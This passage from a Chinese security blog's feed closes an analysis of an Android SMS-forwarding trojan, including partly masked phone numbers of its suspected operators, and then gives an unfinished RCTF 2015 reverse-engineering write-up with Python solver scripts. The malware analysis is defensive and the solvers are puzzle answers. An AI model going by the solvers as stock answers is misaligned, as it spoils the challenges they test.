&lt;p&gt;设定了短信拦截后，特定来源的信息将会被直接拦截，并发送到预置的手机号。由于攻击者的邮箱密码明文置入到了木马中，因此我们可以直接看到众多受害者的资料。从中可以发现，有一部分受害者已经经受了经济损失。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;simple-android-virus-reverse&#x2F;.&#x2F;9.png&quot; alt=&quot;包结构&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;simple-android-virus-reverse&#x2F;.&#x2F;10.png&quot; alt=&quot;信箱&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;simple-android-virus-reverse&#x2F;.&#x2F;11.png&quot; alt=&quot;信箱数量&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;simple-android-virus-reverse&#x2F;.&#x2F;12.png&quot; alt=&quot;短信拦截后转发&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qi-ta-qing-kuang&quot;&gt;其他情况&lt;&#x2F;h2&gt;
&lt;p&gt;某受害者收到一条的短信如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;simple-android-virus-reverse&#x2F;.&#x2F;13.png&quot; alt=&quot;主要传播途径&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;其中，受害人名称与其真实信息一致。短信链接指向电信云公共存储服务中的某文件，其内容为本病毒的apk文件。同时，我们在控制者的网盘帐号中，也看到了相同的病毒文件。&lt;&#x2F;p&gt;
&lt;p&gt;从收件箱收到的短信看，这款木马于1月13日上线，迄今收到320封信件，其中有效受害者约20名。被植入木马的受害者中，大部分位于北京、广州等地。而与发件人相关的手机号码共三个，其中，159****3474和132****6895为*哲所有，135****3441为*煜鹏所有，二人主要活动地点可能位于广东省深圳市，且可能为常住人口。此外，从代码风格看，该款木马可能是由有多名（至少两名）一定基础的初学者自行开发。&lt;&#x2F;p&gt;
&lt;p&gt;这款木马没有采用反混淆手段，在系统中的隐藏痕迹并不明显，可认为该款木马主要目标为零基础的智能手机用户。结合木马获取的资料分析，中招人群多数为经理、官员等，尤其是平时对计算机接触不多的普通用户。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;p&gt;可以推测，控制者利用短信群发平台或伪基站等手段，以已有的社工库为基础，向受害者发送包含病毒链接消息。用户如果不小心下载并执行病毒文件，则所有短信和通话均有可能被拦截，导致受害者经受经济损失。此外，通过获取受害者的通讯录，可以对已有受害者的朋友、家属等，展开新一轮相同的攻击。更危险的是，对特定受害者的通讯录、短信进行具体分析，有可能采用诈骗电话等手段进行进一步攻击。&lt;&#x2F;p&gt;
&lt;p&gt;我们建议，一般的手机用户应自行安装安全防护软件，并提高安全警惕，拒绝下载、安装来源不明的软件安装包，并定时清理手机病毒。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>RCTF 2015 Reverse 复盘</title>
        <published>2016-02-24T00:00:00+00:00</published>
        <updated>2016-02-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/rctf2015-reverse/"/>
        <id>https://blog.iret.xyz/posts/rctf2015-reverse/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/rctf2015-reverse/">&lt;blockquote&gt;
&lt;p&gt;这是一篇尚未完成的文章&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;re100-neoyang&quot;&gt;Re100: NeoYang&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;not sequence:100&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;The sequence is not a sequence But RE is RE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;祭出IDA，可以看到两个关键判断函数。&lt;&#x2F;p&gt;
&lt;p&gt;程序读入一长串数字后开始运算。第一个判断函数位于&lt;code&gt;.text:0804867B&lt;&#x2F;code&gt;，当输入正确的密码时，对其描述为：对&lt;code&gt;password[i*(i+1)&#x2F;2:i*(i+3)&#x2F;2]&lt;&#x2F;code&gt;中的元素集合A，满足&lt;code&gt;sum(A)==2**(i+1)&lt;&#x2F;code&gt;且A中的任意元素x满足&lt;code&gt;x!=0&lt;&#x2F;code&gt;时循环正常进行，其中&lt;code&gt;i=0,1,2,..,19&lt;&#x2F;code&gt;；该函数返回值即为等差数列个数i。不妨认为&lt;code&gt;password&lt;&#x2F;code&gt;是一个三角形的数列，每行为含有i+1项的斐波契那数列，即可满足要求。这样可以构造出一个可以通过该函数的样例：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;fp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;eg&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;w&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;20&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; (j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            fp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;1 &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            fp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;**&lt;&#x2F;span&gt;&lt;span&gt;(j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    fp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;fp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;fp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;close&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;第二个函数位于&lt;code&gt;.text:08048731&lt;&#x2F;code&gt;，要求对于上面建立的三角数列，对于任意&lt;code&gt;i=range(1,20)&lt;&#x2F;code&gt;满足&lt;code&gt;password[19][i]=sum(password[i-1][:18])&lt;&#x2F;code&gt;。将上式修改为下面的帕斯卡三角的输出程序，则可得到正确结果：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; pas_triangles&lt;&#x2F;span&gt;&lt;span&gt;():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    while&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; True&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        yield&lt;&#x2F;span&gt;&lt;span&gt; a&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;sum&lt;&#x2F;span&gt;&lt;span&gt;(i)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; zip&lt;&#x2F;span&gt;&lt;span&gt;([&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;])]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; __name__&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;__main__&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    fp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;trig&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;w&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    g&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; pas_triangles&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;20&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;(g)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        for&lt;&#x2F;span&gt;&lt;span&gt; j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            fp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;(j))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        fp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    fp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    fp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;close&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;404.jpg&quot; alt=&quot;Re100&quot; title=&quot;Re100 finished.&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;按照要求即可得到flag。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;re200-tank&quot;&gt;Re200:tank&lt;&#x2F;h2&gt;
&lt;p&gt;消息循环位于&lt;code&gt;.text:00401700&lt;&#x2F;code&gt;处，处理函数为&lt;code&gt;.text:00402B50&lt;&#x2F;code&gt;，在对结构体进行分析后可确定该结构体最后一个双字保存着当前所在等级。进行一些简单的操作后可以看到对等级进行判断以及将flag写入文件的函数，用0x39作为密钥，异或之后就可以得出结果了&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;404.jpg&quot; alt=&quot;Re200&quot; title=&quot;Re200 finished.&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;re300-crackme&quot;&gt;Re300:crackMe&lt;&#x2F;h2&gt;
&lt;p&gt;是一个Win32程序。将程序载入IDA后，可以看到大量的区域处于未识别状态。导入函数只有Kernel32.dll中的&lt;code&gt;LoadLibraryA&lt;&#x2F;code&gt;、
&lt;code&gt;GetProcAddress&lt;&#x2F;code&gt;、&lt;code&gt;VirtualProtect&lt;&#x2F;code&gt;和&lt;code&gt;ExitProcess&lt;&#x2F;code&gt;，推断这个程序是被加壳过的，PEiD检查后证实了这是
个UPX壳，在官网找到upx后，直接upx -d即可脱出来（手动怎么都脱不下来，以后慢慢研究，说不定又能混一篇文章）。用IDA加载脱壳
之后的程序，可以看到一组花指令，如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;404.jpg&quot; alt=&quot;Re 300 flower~&quot; title=&quot;Re300 has some code&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;images&#x2F;404.jpg&quot; alt=&quot;Re 300 flower&quot; title=&quot;More code&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看到这组指令执行的工作就是，调用压入栈中的子程序，并跳过这组指令其后的两条指令，继续执行。这样我们可以用下面的一组指令替换这些花指令：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;404.jpg&quot; alt=&quot;Fix of bad guys&quot; title=&quot;Fix-up solution&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;之后我们可以发现，该程序是在将程序末尾附加的另外一个文件读入内存并用0x07解密：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;404.jpg&quot; alt=&quot;Small boy in the program&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;从内存中dump出来后，可以看到这才是真正的解Flag程序。同样用UPX脱壳后分析程序工作流程。这个程序使用的反分析技巧类似于部分恶意软件，将会把内存中
部分执行后不需要用的代码随机加密，有至少三处采用了这样的做法（因此动态调试的时候请记住先调整好.text为可写），但这并不影响我们对其进行静态分析。
程序直接从缓冲区读入字符串后，将其转化为十六进制性质的字符串，首先通过下图所示的&lt;code&gt;comp_1()&lt;&#x2F;code&gt;函数进行处理。这里首先从字符串生成一个类似于KMP
算法中的“部分匹配表”，之后将每个字符与匹配表中的数据和25加和后的结果异或，之后再次将其转化为十六进制字符串。将每个字符存入一个二叉树之后，进行深
度优先遍历，再将结果与一个表做匹配，如果内容相等，则认为输入正确。&lt;&#x2F;p&gt;
&lt;p&gt;这个二叉树的构造实在是骨骼精奇，我到现在还没解开它。但是有趣的是，涉及到二叉树建立的&lt;code&gt;.text:401120&lt;&#x2F;code&gt;和&lt;code&gt;.text:401160&lt;&#x2F;code&gt;与输入并没有
关系。因此我们只要将二叉树建立的这部分代码复制出来，然后构造一个&lt;code&gt;1,2,3,4,...,...&lt;&#x2F;code&gt;的输入，就可以将这个步骤转化成为一个简单的置换。下面
的这个python脚本输出的结果，就是进入二叉树之前的数据：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;slen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;27&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;tree&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;slen)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ret&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;slen)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;src&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;22722272222227272222727a2222222222272222272222222222cfdceeeebb9fdbcdbbedfdede7ce9bebe0bb1e2ceab9e2bbbdecf9d8&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(src)))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
